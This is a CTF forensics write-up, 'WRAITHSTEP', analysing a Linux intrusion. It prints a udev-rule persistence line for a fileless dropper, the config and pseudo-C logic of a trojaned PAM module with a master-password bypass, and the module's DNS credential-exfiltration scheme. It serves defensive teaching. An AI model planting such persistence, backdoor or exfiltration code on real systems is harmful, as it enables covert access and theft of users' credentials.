WRAITHSTEP (ROCSC Finals 2026) — Linux Implant Forensics

Three-stage Linux forensics challenge: a fileless dropper launched at boot via a udev rule, a PAM module that replaced the real pam_pkcs11.so to intercept SSH logins, and a DNS exfiltration path that leaks credentials as base32-encoded query labels. Both binaries are stripped, same RC4 key.

Stage 1 — persistence vector + C2 domain (FLAG 1)

proc snapshot

Start with proc_snapshot/, which contains a subset of /proc/ captured at triage time. Three process directories: PID 512 (systemd-udevd), PID 1247 (SUSPECT), and PID 8834 (sshd worker for the devops session).

PID 1247 has three anomalies that stand out immediately:

exe:     /memfd:dropper (deleted)
cmdline: <null bytes>
status:
  Name:   kworker/u4:2
  PPid:   512
  • /memfd:dropper (deleted) — the process is running from an anonymous in-memory file descriptor, not from anything on disk. memfd_create opens a nameless file in memory, the parent writes the ELF payload into it, then execve("/proc/self/fd/3") runs it. Nothing to recover from the filesystem.
  • cmdline = null bytes — argv was overwritten with memset(). The process is completely invisible to ps and cat /proc/PID/cmdline. The Name field was set to kworker/u4:2 to blend in with real kernel threads.
  • PPid = 512 — this is the key. Real kernel threads (kworker/u4:2 included) always have PPid = 2 (kthreadd). A kworker process with PPid = 512 (udevd) was spawned by a udev rule.

Tracing the udev rule

Rules are in etc/udev/rules.d/. Three files: two standard Ubuntu entries and one that doesn't ship in any Ubuntu package:

# 99-apm-events.rules
# APM device event monitoring
ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="/lib/udev/apm-events-d run"

MAJOR=1, MINOR=8 is /dev/random. The rule fires every time the kernel initializes the random number generator at boot — meaning the dropper runs on every reboot with no cron, no systemd unit, nothing that's easy to spot in the usual persistence checklist. The syslog entry confirms it:

Mar 15 02:09:05 prod-server01 systemd-udevd[512]: random: Process '/lib/udev/apm-events-d run' [1243] spawned for rule '/etc/udev/rules.d/99-apm-events.rules' line 3.

Reversing apm-events-d

The binary at lib/udev/apm-events-d is a stripped x86-64 ELF. Load it in Ghidra or IDA.

Finding RC4: look for a function with two loops of 256 iterations and an S-box — the classic KSA+PRGA structure. The 8-byte key is hardcoded in .rodata:

0xde, 0xad, 0xc0, 0xde, 0xbe, 0xef, 0x13, 0x37

The encrypted C2 domain is a 21-byte array (_c2enc) also in .rodata:

0xc5, 0x8d, 0xaa, 0xc3, 0xd2, 0xb9, 0x66, 0x52,
0xa9, 0xf8, 0x0c, 0xa7, 0x20, 0x6d, 0xd2, 0x72,
0xee, 0x44, 0x3b, 0x68, 0x40

Decrypt it:

def rc4(key, data):
    S = list(range(256)); j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    i = j = 0; out = []
    for byte in data:
        i = (i + 1) % 256; j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        out.append(byte ^ S[(S[i] + S[j]) % 256])
    return bytes(out)

key = bytes([0xde,0xad,0xc0,0xde,0xbe,0xef,0x13,0x37])
enc = bytes([0xc5,0x8d,0xaa,0xc3,0xd2,0xb9,0x66,0x52,
             0xa9,0xf8,0x0c,0xa7,0x20,0x6d,0xd2,0x72,
             0xee,0x44,0x3b,0x68,0x40])
print(rc4(key, enc).decode())  # -> "telemetry-svc.invalid"

C2 domain: telemetry-svc.invalid

import hashlib
print(hashlib.sha256(b"telemetry-svc.invalid").hexdigest())
# -> 2e277e17153ea7ba9ef9a580523b6d10c87ac31e3d64aaff2a239f1027655fba

FLAG 1 = CTF{2e277e17153ea7ba9ef9a580523b6d10c87ac31e3d64aaff2a239f1027655fba}

The same 8-byte key appears in the PAM module — both binaries were almost certainly built by the same actor from a shared codebase. Spotting that match is a useful cross-check before you start Stage 2.

Stage 2 — PAM backdoor RE + master password (FLAG 2)

Detecting the malicious module

In etc/pam.d/sshd there's a line added at the top of the auth section, before @include common-auth:

# PKCS#11 smart card authentication support
auth       sufficient   pam_pkcs11.so

Two things make this suspicious. The sufficient flag placed before @include common-auth means the module runs first — if it returns PAM_SUCCESS, authentication succeeds immediately without hitting pam_unix.so. If it returns PAM_IGNORE, the stack continues as normal and the legitimate login works fine. From a user's perspective nothing looks broken.

But pam_pkcs11 is a real Ubuntu package (libpam-pkcs11). Check the MD5:

# from var/lib/dpkg/info/libpam-pkcs11.md5sums:
a3f8c21d9e7b4056f1280c3a9d6e5b47  lib/security/pam_pkcs11.so

# actual file on disk:
md5sum lib/security/pam_pkcs11.so
b4b49139c101c9f4917c382451a6a4cf  # DIFFERENT

The file was replaced. The dpkg.log shows the real package was installed on 2025-03-14. The replacement happened the next morning — the same window as the udev rule installation.

Reversing pam_pkcs11.so

Load the file in Ghidra/IDA. After stripping, pam_sm_authenticate is the only symbol left — PAM loads it by name at runtime, so it can't be removed. The logic:

int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, char **argv) {
    pam_get_user(pamh, &username, NULL);
    pam_get_authtok(pamh, PAM_AUTHTOK, &password, NULL);

    if (check_master(password))
        return PAM_SUCCESS;  // silent bypass

    // fork + dns_exfil(username, password)
    return PAM_IGNORE;
}

check_master() decrypts the _mp array with the same RC4 key found in Stage 1 and compares the result to the supplied password. The encrypted 14-byte array:

0xe6, 0x9a, 0xf2, 0x97, 0xcb, 0xb4, 0x59, 0x13,
0xa9, 0x8a, 0x4d, 0xe1, 0x71, 0x77

Decrypt with the Stage 1 key:

enc_pass = bytes([0xe6,0x9a,0xf2,0x97,0xcb,0xb4,0x59,0x13,
                  0xa9,0x8a,0x4d,0xe1,0x71,0x77])
print(rc4(key, enc_pass).decode())  # -> "Wr41thK3y_2024"

Master password: Wr41thK3y_2024

import hashlib
print(hashlib.sha256(b"Wr41thK3y_2024").hexdigest())
# -> e594987b789745aec646eb15b004df670c09f9f7bff75ae4841fa08198f0f81d

FLAG 2 = CTF{e594987b789745aec646eb15b004df670c09f9f7bff75ae4841fa08198f0f81d}

Any SSH login attempt with Wr41thK3y_2024 succeeds regardless of the actual user's password — PAM returns success before pam_unix.so ever gets involved. The normal user can still log in too, the stack just continues to common-auth after PAM_IGNORE.

Stage 3 — DNS PCAP decode + stolen credentials (FLAG 3)

Exfiltration scheme (from RE)

After the master-password check returns false, dns_exfil() runs in a forked child. The scheme, recovered by reversing the function:

  1. Decrypt the C2 domain with RC4 (telemetry-svc.invalid)
  2. Encode username:password as base32 RFC 4648, lowercase, no padding
  3. Split the encoded string into chunks of at most 32 characters
  4. Send DNS A queries: <chunk>.<seq>.d.telemetry-svc.invalid
  5. Terminate with a sentinel: done.<seq>.d.telemetry-svc.invalid

The parent process returns PAM_IGNORE immediately — the DNS queries happen asynchronously and the victim's login succeeds normally.

PCAP analysis

Open pcaps/dns_exfil.pcap in Wireshark. Filter:

dns.qry.name contains "telemetry-svc.invalid"

Three queries, all at 14:23:18 — exactly one second after the SSH login from auth.log:

mrsxm33qom5eim3wgbyhgx2qoiygixzs.0.d.telemetry-svc.invalid
gazdiii.1.d.telemetry-svc.invalid
done.2.d.telemetry-svc.invalid

Reassemble and decode:

import base64

chunks = {
    0: "mrsxm33qom5eim3wgbyhgx2qoiygixzs",
    1: "gazdiii"
}

full_b32 = ''.join(chunks[k] for k in sorted(chunks)).upper()
# "MRSXM33QOM5EIM3WGBYHGX2QOIYGIXZSGAZDIII"
pad = (8 - len(full_b32) % 8) % 8
decoded = base64.b32decode(full_b32 + '=' * pad)
print(decoded.decode())  # -> "devops:D3v0ps_Pr0d_2024!"

Stolen credential: devops:D3v0ps_Pr0d_2024!

import hashlib
print(hashlib.sha256(b"devops:D3v0ps_Pr0d_2024!").hexdigest())
# -> 143ab34167e193d666e56dcfc971373bbb2f80a3b0e54ed7bf12ff6e1e5af094

FLAG 3 = CTF{143ab34167e193d666e56dcfc971373bbb2f80a3b0e54ed7bf12ff6e1e5af094}

The .invalid TLD means no upstream resolver will ever forward the query — each label is just collected server-side by whoever runs the authoritative NS for the C2 domain.